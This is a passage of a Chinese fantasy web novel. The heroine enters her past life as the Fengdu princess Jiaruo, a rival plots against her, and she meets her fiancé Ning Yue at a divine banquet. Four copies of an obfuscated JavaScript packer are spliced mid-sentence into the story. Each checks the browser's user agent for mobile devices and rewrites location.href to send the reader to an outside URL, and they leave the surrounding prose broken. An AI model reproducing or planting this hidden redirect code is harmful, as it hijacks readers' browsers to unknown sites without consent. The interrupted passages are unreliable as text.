“嗯。”季疏浅乖巧道:“师叔,天道山的事情就要麻烦您了,我和裴先生也招呼过了。” “你这孩子,怎么还和我客气上了。”林南昊笑了笑,话锋一转:“你去找了裴祉?” “嗯。怎么了师叔?”季疏浅瞅了一眼他严肃的神情,握了握裙子。 “裴祉这人和元容与一样深不可测,你不要太过信任他,凡事小心为上。”林南昊叮嘱道。 “好,我会防着的。”她冲林南昊乖巧地笑了笑:“我走啦师叔。” 他勾起唇角:“去吧,别逞强,没成功就算了不强求……你回来师叔给你做红烧牛肉。” 季疏浅被他逗笑了:“好,一言为定哦。” 林南昊看着她步向殿内的身影,低下头宠溺笑了笑。 季疏浅一进书房,就发现苏聿靠在椅子上拿着一本兵法图看。 “你来这里干什么?”季疏浅眯起眼睛看着他。 “你阿姐让我来守着你,不然我早就去睡了。” 季疏浅:“……你别来添乱……” 话毕,她点了点虚空,取出一把玉琴小心放在桌案上,缓缓坐下抚上琴弦。 - 文彦殿中,“贺溟,如何了?”裴祉荡了荡手中茶水,眼中勾起一抹笑意。 男子半跪在地上:“回殿下,她准备弹皎月调了。” 闻言裴祉轻笑道:“我不在时,你就来当裴祉,明白吗?” “是,谨遵殿下吩咐。”男子冷冰冰的声调不带半分感情。 裴祉缓缓起身,理了理微皱的衣袍,幽幽道:“等会你把苏聿的魂抽出来一起丢进去。” 贺溟全身突然一震,“为……为何?” 裴祉俯下身,双瞳幽幽看着他:“舍不得?” “不……不是,只是殿下何必多此一举?就像殿下你说的,他和皇后……顺手除掉就好。” 裴祉玩味地盯着他好一会儿:“千年前,我可不是那丫头的对手……” 眼底的笑意越发深沉:“但人性啊……最大的弱点就是感情,你说有了苏聿这么个软肋,是不是她都好解决多了?” - 季疏浅抚上琴弦闭眼感受了一会儿,琴身虽凉,却有一股温润的力量源源涌进体内。 她从怀里取出装着宁樾心头血的瓶子,打开瓶塞用手指凝出一滴血,宁樾的心头血浮在皎月琴上,她浅叹一口气,一声轻响,血滴答落在玉色古琴上,转瞬消失。 苏聿睨她一眼:“紧张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746892|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 季疏浅叹了口气,还是被他看出来了,不过……总归怎样她在梦里都是假的……没事的。 苏聿淡淡笑了笑:“别怕,我们天不怕地不怕的浅妹最厉害了。”说完走到琴边揉了揉她的发顶:“回来带你去千味斋,你喜欢的都给你点一遍。” 闻言季疏浅无语地笑了笑,合着我在你们心里的形象都是贪吃啊,不过紧张顿时少了一大半。 心底止不住暖意纵横,她一定做得到,这一世她有亲人,有朋友…… 她缓缓闭上眼,轻轻拨动琴弦,清泉般的琴声回荡在月华宫中,正如其名皎月一样,似天上皎月倾泻的如水月光般,净彻人心。 季疏浅渐渐失去知觉,趴在琴上。苏聿轻轻抱起她放到隔壁的床上,皎月调中种种于现实而言只是睡一觉的事,他轻轻给她盖上被角,转身回到书房。 一缕白烟在他离开书房后,咻的一下闪进琴中。 苏聿正走到书房门口,突然听到一声轻微的响动:“谁。” 他拔出后背长剑,眼前一道白光闪过,他皱眉倒在地上失去了意识。 贺溟缓缓现行蹲下看了他好一会,抽出他的魂扔进琴中,手却不自觉颤抖。 - “殿下,我让人给你送些药来。”枭寒皱眉看着面不改色擦去脸上血的宁樾。 “不必了。”宁越冷声道。 犹豫一瞬枭寒还是问道:“殿下,认识那女子吗?” 宁樾翻起眼皮看着他:“认识,她解的封印。” “啊。”枭寒惊讶地叫出来,随即闷闷道:“这天道山还真是人才辈出,幸好殿下你回来了。” 宁樾看着他满不在乎道:“天道山……已经自顾不暇了吧。”那小姑娘可不是善茬,他想到什么有趣的事眼神多了两分好奇。 枭寒走后他缓缓靠在王座上,魔宫一片漆黑,只余下四角亮着点点火光。 额心突然跳了一下,他按住太阳穴,一时神情莫定。 今天回宫后他仔细想了想发生的一切,季疏浅不像是会无功而返的人,但她走的那么干脆…… 额心越来越痛,魔纹殷红像是要渗出血来,魂魄不自觉游离。 宁樾一手撑着头靠在王座上,一手看着越发凸起的青筋,笑意不达眼底缓缓道:“好样的……”然后慢慢合上通红的双眼。 20. 酆都公主 季疏浅是被刺目的光亮醒的,她看了看四周,发现自己躺在一张仙鹤绒织就的大床上,她缓缓坐起身打量了一下身处的地方。 殿内四壁上都用琉璃盏盛着夜明珠,将整个大殿照的格外明亮。屋顶是拱形的,用淡金色的琉璃瓦铺就,整个殿内折射着淡金色碎芒。她起身走到殿壁旁,轻轻抚过上面的仙境壁画,皱起了眉。 在弹皎月调之前她好奇过自己前世是什么身份,现下看这座寝殿,应该身份格外尊贵……但这座大殿华丽归华丽,就是看着不太像住人的地方…… 突然殿外传来一阵脚步声,她回头看去,一个穿着青色鲛纱的少女轻快跑来,一见她就笑道:“殿下,您终于醒了,怎么样有没有哪里不舒服?” 季疏浅脑袋一阵懵,她暗道糟了,她没有前世的记忆,岂不是要露馅了。 但当她一看到少女,不自觉的脱口而出:“墨语?” 季疏浅暗喜原来她可以搜寻出前世记忆,松了一口气。 墨语看着她直勾勾地看着自己,嘟起嘴在她眼前晃了晃:“殿下?” 季疏浅回过神来:“没事。” 墨语松了口气:“吓死我了,殿下您太厉害了,现在您可是这六界最年轻的上神啦。”她笑咪咪地看着季疏浅。 六界?季疏浅在心里疑惑到,不过她面上挂起一个淡淡笑容:“嗯……没事的话你先出去吧,我要更衣了。” 一定要把她支出去,好让她看看她前世到底是怎样一个人。 墨语有些诧异地看着她,殿下今日怎么怪怪的,居然说了这么多话…… 待她出去后,季疏浅缓缓闭上眼,在脑海里搜寻了一下前世记忆。 这一世的她叫珈若……是酆都的长公主…… 她忍不住皱起眉,她的确在各种书上,在说书先生的口中听说过酆都。酆都一向神秘,且在千年前神魔大战之前便已覆灭。 世人提起乾都无不叹惋,凌驾于六界之上的酆都辉煌万年,一朝覆灭在六界半点痕迹都没留下。 季疏浅长叹一口气,长长的眼睫垂下,原来……她前世竟是世人口中酆都唯一的女帝珈若吗…… 季疏浅继续看着前世的记忆,眉头却越皱越深。她从生来便被作为继承人培养,记忆中的自己不是在练剑就是在历劫,她的父皇对她寄予厚望,她便日复一日地修炼…… 她敏锐地捕捉到了一点,珈若生性冷淡,对所有人都是情绪淡淡的……包括对从小一起长大的侍卫墨语。 季疏浅叹了口气,难怪刚醒来觉得这寝殿一点生气都没有,合着她前世就是这么无趣的一个人……突然想到她刚刚会不会和墨语话太多了? 她低下头拨弄着手腕上的粉镯子,捋了捋千年前的背景……也就是说千年前六界尚在,神仙人魔冥妖,还有一个凌驾于六界的酆都。 而千年后宁樾灭掉了神族,仙族……难道活下来的就是如今天道山的那帮人?那到底发生了什么让酆都这么辉煌的存在就此消失? 她收回思绪,无论发生什么都是前世的事了,和她无关,当务之急还是找到宁樾……这才是她的目的。 不知为何,季疏浅从心底觉得,自己似乎很排斥前世的种种……过得太无趣了一些…… 她想起刚刚的借口,匆匆给自己换上一条铺着碎金的裙子,深吸一口气端出一副庄严又冰冷的样子——这是前世的她一贯的表情。 “墨语。”她淡淡道。 墨语闪身出现在她面前微微俯身,悄悄瞥了她一眼,心想这样的殿下看起来才正常:“殿下。” 季疏浅沉默片刻:“近来……可有事?” 言简意赅,才符合上一世她的作风。 墨语沉吟片刻:“大事倒是没有,就是明日是神后的生辰,宴请四海八荒,殿下……您要去吗?” 季疏浅本来是想去凑个热闹的,顺便看看传闻中的神帝神后是什么样的,但一想到珈若就是个修炼狂,从来不去这些活动,淡淡道:“不了。” 谁知道墨语表情突然有些纠结:“殿……殿下,您要不再考虑下?” 季疏浅偏头看了看她,她连忙道:“殿下,毕竟……毕竟您和太子殿下有婚约在身,不去恐怕不太好……”说完她还偷偷瞥了一眼季疏浅的脸色,见她没什么反应暗松一口气。 别的宴会不去就罢了……但这毕竟是未来的亲家啊…… 而且上次她远远见过神族太子一面,丰神俊朗与他们家上神很是登对呢。 她暗暗打住想法,她家上神看着真不像是谈婚论嫁的料啊…… 婚约?这么有意思,可都是书上不曾讲过的,季疏浅来了劲,佯装正经道:“那去吧,你帮我准备下礼物。” 墨语见她答应了,藏不住脸上的喜悦,她家上神终于愿意出去走走了,她一边想一边美滋滋地应下:“殿下放心吧,包在我身上。” 待她走后,季疏浅抬眸看向一旁放着的兵器叹了口气,哪个女孩子家寝殿跟兵器库似的……匕首,长剑,枪,弓箭,还有鞭子……她忍不住感叹道前世的自己还真是精通十八般武艺啊。 看到放剑的剑架她惊呼一声:“虚华!”原来虚华在上一世时就已经是她的命剑了……她暗自思忖道,难怪虚华这么一把神剑会认她做主。 她没有多想,将虚华执在手上挽了个剑花,剑锋出鞘,她忍不住笑笑。在一个陌生的千年前,遇见这么个老熟人倒是让她安心不少。 她细细运转内力,待探清自己内力时抿唇笑了笑,这就是上神吗。 跟着记忆,她走到寝殿外,彩色流云浮在半空,整座寝殿似建在云层之上,她慢慢的迈到云层之上——这是她练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746893|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑的地方,跟着脑海中的动作运气练剑。 不知过了多久,她轻轻拭去额头的汗水,就这一朵彩云坐下。 周遭的一切看起来格外的不真实,她不自觉想到阿姐他们,也不知他们在干什么…… 她突然想起一个人——元容与,那日他在死前和自己说什么,总算像她了?元容与是神族二皇子,那他们这一世应该是有交集,莫非他喜欢前世的自己? 她忽然觉得有些可笑,是因为前世他爱而不得,等着自己重活一世时就疯了一样让她留在他身边吗。 她冷笑一声,就因为这么荒谬的想法,他就要置自己的亲人朋友于死地……简直疯的不可理喻。 尽管如此,她脸色还是微微惨白,不经意间握紧了虚华,幸好她重来了一世…… 不对,季疏浅猛的想到,自己的上一世时珈若,怎么会出现一模一样的两世……她能想到的情况只有一种,那就是那是真真实实发生过的……只是有人将时间拨了回去,一切重新开始。 季疏浅蹙起眉头,如果真是这样,那事情就不会如她想的那么简单,就不单单是一个元容与的事。 “殿下,该更衣了。”墨语小跑进来:“殿下,我给您挑的裙子绝对好看,您快来看看。” 季疏浅收回思绪,沉默地跟在她身后。 床上放着一条缀满宝石的裙子,宛如星河洒落,裙摆流光溢彩,冰丝织就的繁复花纹如银河璀璨。 季疏浅看的有些呆住,饶是她在天道山见过极为华美的裙子,也赶不上这条裙子万分……不愧是酆都。 “好看吧,只有这条裙子才衬得上殿下,殿下快换吧,我给您梳妆。” 季疏浅点点头,换上衣裙,墨语从外面拿进来一对银丝叶状的发饰:“殿下,您不喜欢复杂的发饰,就这个如何?” 闻言季疏浅看了一眼她手中的发饰:“好。”原来在挑发饰上她和前世的自己还是挺相似的,过于复杂的头饰在打斗时可麻烦了。 她在一面花式瑶镜前坐下,月盘般的镜子映出一张小巧的脸蛋,她微微蹙眉,原来自己和前世长的几乎一模一样,只是这一世的自己要多些青涩,像未脱稚气的少女……而珈若眉心有一道三叶型的淡金色神印,明明是相似的五官,却更加庄严。 墨语一边将她墨发半扎着,一边夸道:“殿下真好看,平时要是多笑笑就更好看了。” 闻言她淡淡的勾了下嘴角:“这样?”时时刻刻装作是珈若太难了,虽说自己在做主帅时还是会冷着脸训人,但也不会每时每刻都冷着一张脸。 她决定要渐渐地多一些生气,潜移默化地改变周围人对她的认识,就不用演的这么累了…… 墨语见她笑了也跟着笑起来:“就是这样,殿下以后要多笑笑。”她感慨道飞升上神的殿下好像多了些亲和力呢。 21. 千秋盛宴 神界今日分外热闹,通往月华殿的琉璃长桥上汇集了四海八荒的仙人,世人皆知帝后恩爱,今日神后生辰,神帝自是宴请了八方贵客。 月华殿高座上金色帝袍的神帝淡淡道:“宣贵客入座吧。” 一旁插着珠钗的绝色女子轻轻拉了拉他衣袖,侧身笑道:“我哥哥他们应当也快到了。” 神帝也跟着她淡淡一笑道:“他肯赏我这个面子,肯定是因为你啊。” 坐在比他第一阶位上的宁樾看着身旁的空位微微垂下眼睫,再下一阶上神族皇室的各位皇子皇女均已落座。 坐在第一位的娇俏少女抓起一个果子,一手捉裙跑到宁樾身边,俯身将头枕在他肩上偏头笑道:“哥哥,我今天听说嫂嫂也要来呢,终于可以见到嫂嫂了……” “小瑈,别乱叫。”宁樾侧过头警告地看她一眼。 神后盯着他们俩微微发笑,神帝蹙着眉:“小瑈有点身为皇女的样子。” 宁瑈嘟了嘟粉粉的唇,悻悻地下了一阶坐回去。 十二个仙女抱着琴开始弹奏仙乐,各路宾客陆陆续续落座。 突然全场热闹的交谈声冷了一瞬,门口的仙侍宣道:“魔王殿下到!” 为首的魔王淡淡瞥了一眼神帝,没理会周围的窃窃私语,径直走去。 看到魔王到了,神帝神后连忙起身,下一阶的宁樾也跟着起身。 宁景珩经过宁樾时侧首看着他,走过去拍了拍他肩膀:“这么多年不见,都长这么大了。” 然后将他从头到脚打量一番:“有几分你舅舅我的风范了……” “哥……”神后叫住他,有些无语地看他一眼。 正在拿着一块枣糕的宁瑈一抬头就呼道:“舅舅!” 宁景珩听到少女清甜的嗓音转过头去,邪气地笑了笑:“这不是小瑈嘛,我都差点没认出来……”他揉了揉宁瑈的发顶,捏住她鼓起的腮帮子:“就知道吃。” “哼。”宁瑈轻哼一声,坐了回去。 宁景珩笑着走上座位,神帝伸手:“宁兄这边请。”宁景珩全程无视了他,直接一掀衣袍坐了上去。 神帝有些尴尬地收回手,见状神后拉拉他衣袖:“我哥就这个怪脾气。” 长桥上宾客不断,两个穿着曳地鲜艳长裙,墨法间坠着长长流苏的女子低头娇笑道:“今天听说太子殿下也会到场呢,太子殿下可是出了名的美男子……” 另一个女子拉了拉她衣袖:“你小声点,太子殿下可是和酆都公主有了婚约……今天还听说乾都公主要来呢。” 女子一时惊呼道:“酆都公主要来?”惹得周围宾客纷纷转头看她,她羞着低下头。 一时长桥上交谈声不断,围绕的都是一个话题——酆都公主今天居然要赴宴。 被人们议论的主角季疏浅在出发前才和墨语想起来没拿他父皇的那份礼物,匆匆带着墨语闪现到酆都大帝的寝殿。 “父皇。”季疏浅俯身请安。 金灿灿座椅上的酆都大帝缓缓抬头:“珈若,功法悟的如何了?” 语气淡淡的,仿佛他们不是父女而是师徒关系。 季疏浅默了一瞬:“女儿参悟了不少……今日来找父皇取给神后的礼物。” 景琰有些诧异地抬起眼皮:“你要去赴宴?” “嗯。” 沉默两秒,他淡淡道:“你去随便挑点吧,我没准备。” 季疏浅:“……”她前世那个性子和她爹简直一个模子刻出来的。 她微微俯身:“好。” 等她到神界时琉璃长桥上已经空无一人了,墨语有些尴尬的拉着她:“殿下,我们好像迟了。” 她在心里叹了口气,那就只能再加深下大家对她的印象了…… 她看了眼仙云缭绕的月华殿感叹道还真和天道山的月华殿一模一样,这执念得多深啊…… 门口银白甲衣的侍卫拦住她:“何人如此无礼,都快到宴会开始时间了。” 季疏浅淡淡睨他一眼,他浑身打了个冷颤。墨语轻哼一声:“酆都公主岂能容你无礼。” 侍卫一听匆忙跪下:“属下有眼无珠不识公主殿下,这……这就去通传。”说完飞奔进月华殿。 “殿下,以后您多来赴赴宴,真是的,连我们公主都不认识。”墨语抱怨道。 季疏浅看着她淡淡一笑:“无妨。” 月华殿内宾客正在交头接耳,品评仙乐,高座上帝后正和妖族帝后相互寒暄。 “报!”仙侍匆忙跑进月华殿,响亮的声音让周遭的谈话声都停了一瞬,宾客纷纷转头看向他。 “酆都公主到!”此话一出,全场更是鸦雀无声,高座上的帝后纷纷起身。 “公主殿下,里面请。”仙侍俯下身做了个请的手势。 季疏浅微微点了点头,走了进去…… 大殿内座无虚席,穿着五颜六色衣服的各路宾客齐刷刷看着她。 季疏浅在心里庆幸之前当靖和军主帅时每次都要从排开的士兵中间走过,现下她看这些人就当成士兵好了。 她正想着,猛一抬头就对上一副熟悉的面孔,差点惊呼出来——宁樾!怎么是他。 高座之上的神帝神后朝她微微颔首:“珈若,来,快上座。” 她装作不经意一瞥,连忙收回目光。虽然她辈分小,可依着酆都的地位,她和三帝该是平起平坐,她微微颔首:“见过神帝神后。” 话毕,她微微侧身,想必左右两位就是魔妖两帝了,她颔首道:“魔尊,妖帝妖后。” 神后看着她微微笑着:“珈若,你坐宁樾旁边吧,你们俩孩子聊聊。” 季疏浅:“……” 她礼貌地笑笑:“好。” 在提裙子时她微微皱了皱眉,这条裙子好看归好看,就是有点长了。 她正捉裙迈上台阶时,面前伸来一只骨节分明的手,她有些诧异地看了看宁樾,还是将手搭了上去。 宁樾轻轻拉住她,她在他身旁落座。 宁瑈目不转睛的看着季疏浅,转头给身旁的人元容与说:“二哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746894|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嫂嫂好漂亮啊。” 修仙之人耳力格外好,更不用说在座的一众上神了,这句话自然不重不轻地落在了阶上各位的耳朵里。 季疏浅装作没有听见一样端庄地坐在椅上,宁樾微微斜看了宁瑈一眼示意她别乱说。 神帝见此清咳两声:“既然诸位都已落座,那今日宴会就正式开始了。” 他和神后对视一眼,共同举杯:“诸位远道而来,不胜欢喜,今日我们先敬诸位一杯。” 闻言仙侍先端着金盘盛上一小杯酒端到诸位宾客前,季疏浅正举杯准备尝尝神界酒的味道,墨语拦住她在她耳边轻声道:“我先替殿下试毒。” 季疏浅愣了愣,这才发现大殿之上竟然只有她一人能带着侍卫赴宴,她点了点头,心想这身份比她想的还要尊贵啊。 墨语试过后将酒杯递给她,她朝神后举杯:“珈若祝娘娘生辰快乐,且以喜乐,且以永日。”微微抿了一小口酒。 神后笑着看着她将酒杯中的酒一饮而尽。 季疏浅刚坐下,就听见旁边一道清越的声音响起:“儿臣祝母后生辰快乐。” 季疏浅微微侧目打量他,眉间妖冶的魔印被淡金色神印取代,眉眼俊俏,鼻梁挺拔。淡去成魔时的戾气,倒是个芝兰玉树的美男子。 在她落座时她便理清了关系,传言真是不可信啊。 宁樾居然就是她的未婚夫,神族的太子殿下。而前世的记忆告诉她,宁樾的母后也就是神后,是魔尊的胞妹,而他的生父确确实实就是神帝。 跟那传言里魔尊公主生下来连父亲都不知道是谁的宁樾的传闻简直毫不相干。 哎,她在心里微微叹了口气,原来在皎月调里要上演一个谋杀未婚夫的故事了。 她正走神,仙乐声拉回她的思绪,一大群仙子簇拥着一位穿着轻盈纱裙勾勒出曼妙身影的女子。 她双手交叠在胸前动人一笑:“妖族公主虞落见过神帝神后,今日给神后娘娘庆生,虞落特地编了一支舞。” 神后轻笑道:“你有心了。” 季疏浅淡淡看她一眼,听见周围议论纷纷:“那就是妖族第一美女吧……”“看看那身段……” 季疏浅在心中冷笑一声,这些人这么无聊的吗。 她搜寻了一下记忆,发现自己居然知道这号人,在心中轻笑,看样子她知道她意图了,她不动声色瞥了一眼妖帝妖后。 仙乐悠悠响起,虞落舞动如绸的腰肢,青丝如瀑飞舞,手中折扇合拢似笔走龙蛇绘丹青,四周的舞姬撒出无数娇艳花瓣,有若花蕾展开,大殿内漫着沁人心脾的芳香……一曲舞罢,宾客掌声如潮,她展开折扇遮住半张脸,媚眼像宁樾投去一个柔柔的目光。 季疏浅在心里笑道,千年后被世人避之不及的魔王殿下,千年前居然还有这种桃花。 从虞落出来献舞的一瞬宁樾就看清了她的意图,毕竟四海八荒最不缺她这种人,从小到大他遇到的真不少…… 他冷冷收回目光,把目光移向下一阶上腮帮子鼓鼓的宁瑈。 22. 宴会相遇 他叹了口气,传音给她:“宁瑈,你从宴会开始吃到了现在……不许吃了。” 宁瑈听到声音心虚地抬头,紧紧握着一颗樱桃的手却没松开,她朝宁樾一笑:“最后一颗,吃完就不吃了。” 虞落媚眼投过去的一瞬就看到了这样一幕,她不禁垂下眼睫掩去眼中失落。 季疏浅瞥过头看到宁樾看着一个少女不知道在传着什么音,她顺着他的目光看过去,就看到一个往嘴里塞樱桃的小姑娘,她勾起唇角笑了笑。 宁瑈察觉到目光,抬头一见是她嫂嫂,扬起手打了个招呼,甜甜地传音道:“嫂嫂好。” 季疏浅被这一声嫂嫂叫的石化在原地,宁樾有个妹妹? 她一扭头,宁樾正好扭头看向她,她呼吸滞了一瞬。 宁樾看着她礼貌一笑:“见谅,舍妹年幼不懂事,公主别和她一般见识。” “什么嘛,我没有乱喊,就是准嫂嫂。”季疏浅正准备开口说话,宁瑈就嚷起来。 她没忍住笑了一下,宁樾的妹妹这么有意思,和他性格简直天壤之别。 “无妨。” 在他们传音的这会儿,神帝宣布宴会到了自由时间,大家可自由推杯换盏。 他话音刚落,宁瑈就小跑过来拉起季疏浅的手:“我可以叫你姐姐吗?” 季疏浅看着她黑葡萄一样圆溜溜的眼睛笑了笑:“当然可以。” “还是姐姐好,哥哥他就会凶我。”一边说一边瞪了宁樾一眼。 神后见到这一幕笑着走过去:“珈若啊,小瑈之前天天念着要见她嫂嫂,小孩子玩心重你多担待。” “好的。”季疏浅应下。 神后微微一笑:“宴会结束后你不急着回酆都吧?” 季疏浅思忖片刻,虽然现在酆都很多事务要她过目,她父皇有意要她理政,不过堆个一两日不成问题。 “嗯,不急。” 听到她回答神后笑着说:“那正好,我让宁樾陪你逛逛神界如何?” 季疏浅:“……”话都说到这个份上了,她有拒绝的余地吗。 “好……” 听见她答应,神后笑了两声:“珈若啊,当年我和你母后自作主张给你们俩订下婚约,倒是为难你们俩了,你们可以借此机会熟悉熟悉……本来你母后仙逝之时是让我多照顾照顾你的……可是这些年我也没能做什么……”说完她眼眶微红,一把搂住季疏浅。 季疏浅曾透过珈若的记忆见到过她的母后——酆都的帝后在她很小的时候就仙逝了,而珈若对这位母亲的记忆也只有寥寥几段…… 突然被神后搂住,季疏浅浑身僵了僵有些不自在。 她这点细微的动静被察觉到,神后松开了她,眼眶微红地看着她,轻轻拍了拍她的肩转身朝神帝走去。 季疏浅看着她,总觉得从她的眼里看到了交织的复杂情绪…… 宁樾将她眼中异样的情绪尽收眼底,他微微皱眉。 “下个月的槐江山秘境开放你会参加吗?” 槐江山秘境?季疏浅没想明白他怎么突然说到这里。 她垂下眼睫想了想,千年后的槐江山可是镇压恶鬼的地方,听他的意思如今的槐江山是一处试炼的秘境。 那她是不是可以趁此机会看看秘境中有什么,借此再研究下如何封印恶鬼…… 毕竟不管这一世会如何变化,槐江山大阵在几年后应该会出问题,有备无患…… “要去。” 宁樾本来提到这个只是打算换个话题,没料到她很认真的思索了给了他一个肯定的答案。 珈若居然要去?宁樾微微蹙起眉头。 “公主殿下,太子殿下,小皇女。”有些锋利的男子声音从背后传来。 季疏浅和宁樾侧目过去,虞落挂着一个得体的笑容微微欠身,穿着紫色嵌金纹袍的男子妖艳地挂起一抹笑容。 宁樾点了点头:“妖族太子,公主殿下。” 季疏浅默不作声地打量着这对兄妹,世事变化无常,千年后妖族分裂为南北二妖王,这位太子殿下……看着有些面熟,应当是南妖王虞戍。 她心底轻笑,此人应当有点手段,现下她知道这诸天神魔能在千年后仍有一席之地除了宁樾就是他…… 当然梵净城那两位另当别论。 她扬眉有些惋惜地看了看虞落,这位公主可能在这千年间就已香消玉殒了吧。 被她惋惜地虞落公主抿唇一笑:“太子殿下好久不见,我这次来特地从妖界主城带了小皇女喜欢的糕点,宴会结束后我派人送来……” “不必。公主有心了。”她话没说完宁樾直接打断了她。 一向贪吃的宁瑈罕见的没有替被拒绝掉的糕点打抱不平,只是沉默地站在宁越身后。 虞落脸色刷地一下白了,轻轻用手肘碰了碰虞戍。 虞戍微抬起下巴,有些不悦:“太子殿下这是何意?可是瞧不上我妹妹的一番好意。” 季疏浅在心里暗笑,真是狡猾啊,宁越要收下这糕点,就是对她这个未婚妻不敬了。可要是不收下,那就安上了一个神族自视甚高的名头,左右为难啊。 “公主,太子殿下有所不知,我父帝年前收到的某族的礼物中掺了毒,他现在禁令擅自收这些,我身为太子自然不能忤逆。” 他话一出,虞戍脸上一阵白一阵红的……谁不知道年前掺了毒的礼物是他们妖族送的,虽然没查出是什么人干的,但这不是意有所指吗。 他缓缓挂起一个笑容,看起季疏浅:“公主殿下,能否小叙一会?” 她正感叹宁樾这聪明的话术,突然被喊到?她怎么不记得珈若和他有什么旧可叙。 她凉凉抬起眼皮:“这里都不是外人,太子要不就在此处说?” 虞戍像是下定什么决心一样:“我有事要单独和公主说,借一步可好?” 季疏浅倒是没想到她话都说到那个份上了,他还能纠缠。 不过今日的情形她算是看明白了,这兄妹俩一个冲她来,一个冲宁樾来。 不难想通,如今三界看似风平浪静实则暗流涌动,魔界最强,其次便是神妖两界。魔界公主和神界通婚,而宁樾这个神族太子一旦和她完婚,那妖族便会更加式微。 季疏浅在心底道,妖王好算计,虞戍要是和她联姻那妖族就得了酆都势力,虞落和宁樾联姻便能三界制衡。 她淡淡道:“好。”总归他说什么也就一句拒绝的话。 正像外走,宁樾一只手挡在她面前,冷冷地看着虞戍: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746895|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宴会虽是自由时间,可也由不得太子擅自离席。 一边宁瑈转了一圈黑溜溜的眼珠子,拈住季疏浅的袖子:“姐姐,你很少来神界,我带你去认认人吧。” 季疏浅见她如此淡淡一笑:“好。”说罢就由着宁瑈拉着她的手走了。 宁樾见他们走了放下手也准备离去。“慢着。” 宁樾微微蹙眉转过身:“太子殿下还有何事?” 虞戍冷笑一声:“虞落你去陪陪母后他们。” 闻言虞落甩了甩轻纱水袖,冷哼一声走了。 虞戍的目光看着远去的虞落,幽幽地回到宁樾身上:“就我们俩了,我就直说了。” “你和酆都公主的婚约不过是上一辈定下的,她可是未来的酆都大帝,你觉得届时,她还会在乎你这一桩婚约吗?” 宁樾低头轻笑一声,随后冷冷道:“酆都公主要是想解了这桩婚约,我和母后绝不会阻拦。” 他看向虞戍:“你以为谁都像你一样想靠着婚约谋利吗?” 宁樾没等他回话就道:“失陪。”留下虞戍在原地磨着后槽牙吱吱作响。 “姐姐,这个是我的二哥。”宁瑈兴冲冲拉着季疏浅到下一阶处,眼睛亮亮地盯着元容与。 银袍束冠的男子笑着起身:“久仰公主大名。”面庞温润如玉,要不是季疏浅知道他是个多疯的人,差点就被皮相迷惑了。 她压下厌恶的神色,淡淡道:“见过二皇子。” 要不是这里人多,她真想给他胸口捅上一刀。 元容与如沐春风般笑了笑,双指合拢捻起一串带着水珠的葡萄:“公主尝尝,这葡萄可甜了。” “不用了,多谢。”季疏浅淡淡拒绝了。 元容与神色有些失落:“好吧,是在下唐突了。” 季疏浅没有看他,径直朝前走去。 “公主,当年你救我,我还没来得及给公主殿下道谢,今日元某谢过公主救命之恩。” 季疏浅脚步一顿,在珈若的记忆里找了找,似乎真有这么一件事。 十多年前饕餮作乱,元容与奉命前去收复饕餮凶兽,可饕餮表现出了比平日更为惊人的破坏力和攻击力,元容与一时不慎断了左臂。 那时,珈若正好听几个下属说起这次的凶兽冲破封印一时,他们一致觉得像是人为,果不其然,珈若在饕餮身上发现了恶灵的气息,有人借恶灵控制饕餮。 珈若在去探查时顺手救下了重伤的元容与,在将饕餮驯服后把他带回酆都养了一段时间的伤。 她淡淡笑了笑:“顺手之举,不必介怀。”转身离去。 元容与目光闪过一瞬失落,他右手不易察觉地揉皱了衣袍一角。 宁瑈见季疏浅朝前走去连忙拉上她的手:“姐姐,这个是三哥。” 珈若平日对人就是冷冰冰的,因此宁瑈没看出来她的异样,继续兴奋的给她介绍。 三皇子元祉?她抬眸看过去,一身黑色锦袍的男子端坐在桌前给自己倒茶,元祉察觉到目光,转过头淡淡一笑。 季疏浅看着这张和元容与有七分相似的脸心下了然,应该是他的胞弟,只是他的这双眼睛格外深邃,让人有些看不透。 季疏浅心中纳闷……好像在哪里见过呢。 23. 神族太子 元祉笑道:“难得今日公主殿下亲临月华殿。” 